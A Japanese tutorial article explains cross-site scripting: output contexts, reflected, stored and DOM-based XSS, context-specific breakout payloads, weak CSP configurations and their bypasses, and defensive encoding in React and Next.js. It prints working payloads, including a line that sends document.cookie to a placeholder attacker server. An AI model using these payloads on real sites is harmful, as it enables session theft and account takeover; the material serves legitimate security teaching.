XSS(クロスサイトスクリプティング)は、被害者のブラウザで攻撃者のJavaScriptを実行させる脆弱性です。セッションの乗っ取り、資格情報の窃取、なりすまし操作——PortSwigger が言う通り「ユーザーとアプリの相互作用を丸ごと侵害」できます。本記事は、その攻撃手法を公式に忠実に、手を動かせる粒度で解説します。
絶対の前提: 全ペイロードは 合法ラボ または許可スコープでのみ。他人のサイトでの「ちょっと試す」も無許可なら違法になり得ます(→ 法律ガイド)。攻撃クラスの地図は ピラー を参照。
1. XSSの本質 — 出力コンテキストの無視
XSSは「入力の問題」だと誤解されがちですが、正確には出力の問題です。同じ "><script> でも、どこに出力されるかでエスケープ要件が変わります。
<!-- ① HTML本文に出る → タグとして解釈される -->
<div>こんにちは、[ここに出力]さん</div>
<!-- ② 属性値に出る → 属性を閉じてイベントハンドラを足せる -->
<input value="[ここに出力]">
<!-- ③ <script>内に出る → JS文字列を閉じてコードを足せる -->
<script>var name = "[ここに出力]";</script>
検出の第一歩は、xss1234 のような一意な文字列を入れて、レスポンスのどこに・どうエスケープされて出るかを確認すること。そこから文脈に応じた「ブレイクアウト」を組み立てます。
2. 反射型XSS(Reflected)
入力がそのリクエストのレスポンスに即座に反射されるケース。攻撃者は細工したURLを被害者に踏ませます。
# 検索パラメータがそのままHTML本文に反射される場合
https://lab.example/search?q=<script>alert(document.domain)</script>
実務では alert() ではなく影響の実証まで示します(PoC)。例えばセッションCookieを攻撃者サーバーへ送る——ただしこれは自分のlab/許可スコープでのみ。
<script>new Image().src='https://<自分の検証用>/c?'+document.cookie</script>
3. 蓄積型XSS(Stored)— 最も影響が大きい
入力がDBに保存され、後で他のユーザーに表示されるときに発火します。コメント欄・プロフィール・商品レビューが定番の入口。
# レビュー本文に保存される
コメント: 素晴らしい商品です<script>/* 閲覧した全員のブラウザで実行 */</script>
反射型は「踏ませる」必要があるが、蓄積型は「見た全員」に発火します。管理画面に保存されれば、管理者のセッションを奪える。影響度が段違いなので、保存される全入力(特に管理者が見る画面)を必ずテストします。
4. DOM型XSS(DOM-based)— source から sink へ
サーバーを介さず、クライアントのJavaScriptが危険な処理をすることで起きます。データの流れ(source → sink)で追うのが鉄則です。
// 脆弱な例:URLのフラグメント(source)を innerHTML(sink)へ直接渡す
const q = location.hash.slice(1); // source: 攻撃者が制御できる
document.getElementById("out").innerHTML = q; // sink: HTMLとして解釈される
# 攻撃URL(# 以降はサーバーに送られず、クライアントだけで処理される)
https://lab.example/#<img src=x onerror=alert(document.domain)>
| source(入力源) | sink(危険な出力先) |
|---|---|
location.hash / search / href | innerHTML / outerHTML |
document.referrer | document.write() |
postMessage のdata | eval() / Function() |
localStorage | jQuery $(...).html() |
DOM型はサーバーのレスポンスに痕跡が出ないため、Burpのレスポンス検査だけでは見つかりません。Burpの DOM Invader のような、ブラウザ内でsource→sinkを追う仕組みが有効です。
5. コンテキスト別ペイロードの作り分け
「同じペイロードはどこでも効く」は誤りです。文脈に応じてブレイクアウトを設計します。
<!-- 属性値コンテキスト:属性を閉じてイベントを注入 -->
"><svg onload=alert(1)>
" autofocus onfocus=alert(1) x="
<!-- JS文字列コンテキスト:文字列とスクリプトを閉じる -->
</script><script>alert(1)</script>
'-alert(1)-'
<!-- HTMLタグが除去される環境:タグなしで発火 -->
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<script> がフィルタされても onerror/onload/ontoggle などのイベントハンドラで発火できる——だから「<script>だけ消す」ブラックリストは不完全だとわかります。PortSwigger の XSS cheat sheet が網羅的です。
6. CSP(Content Security Policy)— 最後の砦と、その回避
CSPは「どこからスクリプトを読み込み・実行してよいか」をブラウザに宣言する多層防御です。XSSを完全には防げませんが、被害を大幅に緩和します。
# 強いCSPの例:nonce + strict-dynamic(インラインも外部も原則禁止)
Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'
逆に、弱いCSPは回避されます。代表的な穴:
'unsafe-inline'を許可 → インラインスクリプトが通り、CSPがほぼ無意味化。- 緩いホスト許可(例:CDN全体やJSONPを返すドメイン)→ そこ経由でスクリプト実行。
base-uri未設定 →<base>注入で相対URLの読み込み先を乗っ取られる。
設計の教訓: CSPはnonceベース + strict-dynamicで組み、
unsafe-inlineを使わない。Next.jsでの実装(middlewareでnonce発行)は セキュリティヘッダ/CSP実装ガイド で詳説しています。CSPは入力対策の代替ではなく、入力対策が破れたときの保険です。
7. 【守る側】根本対策 — 文脈別の出力エンコード
PortSwigger と OWASP XSS Prevention の結論は一致します。**「出力する文脈に応じた正しいエンコード」**が本筋です。
// ✅ React等のフレームワークは既定で文脈に応じてエスケープする
// → 自動エスケープを「外さない」のが最大の防御
function Comment({ text }: { text: string }) {
return <div>{text}</div>; // {} 補間は自動でHTMLエスケープされる(安全)
}
// ⚠️ dangerouslySetInnerHTML はエスケープを外す = XSSの主要因
// 使うなら必ずサニタイズ(DOMPurify等)を通し、監査対象にする
function RichText({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html); // 許可タグだけ残す
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
設計原則を整理します。
- HTML本文 → HTMLエンティティエンコード(
<→<)。フレームワークの自動補間に任せる。 - 属性値 → 属性コンテキスト用エンコード + 必ずクオートで囲む。
- JavaScript → ユーザー入力を
<script>内に直接書かない。JSON.stringify経由でデータ層に分離。 - DOM操作 →
innerHTMLを避けtextContentを使う。やむを得ず使うなら Trusted Types を導入。 - URL →
javascript:スキームを弾き、encodeURIComponentで。 - 多層防御 → nonceベースCSP・
HttpOnlyCookie(JSからセッションを読めなくする)。
Next.js × Supabase 環境での DOM XSS・dangerouslySetInnerHTML の具体的な検出と対策は 専用ガイド にまとめています。
8. まとめ
- 本質は出力コンテキスト:同じ入力でもHTML本文/属性/JS/URLでエスケープ要件が違う。
- 3類型:反射(踏ませる)・蓄積(見た全員・最大影響)・DOM(source→sink)。蓄積とDOMを見落とさない。
- ブラックリストは破れる:
<script>を消してもonerror等で発火。 - CSPは保険:nonce + strict-dynamic で組む。
unsafe-inlineは禁。 - 根本対策は文脈別エンコード:フレームワークの自動エスケープを外さない。
innerHTMLよりtextContent。
次は、サーバー自身を踏み台にする SSRF攻撃の完全攻略 へ。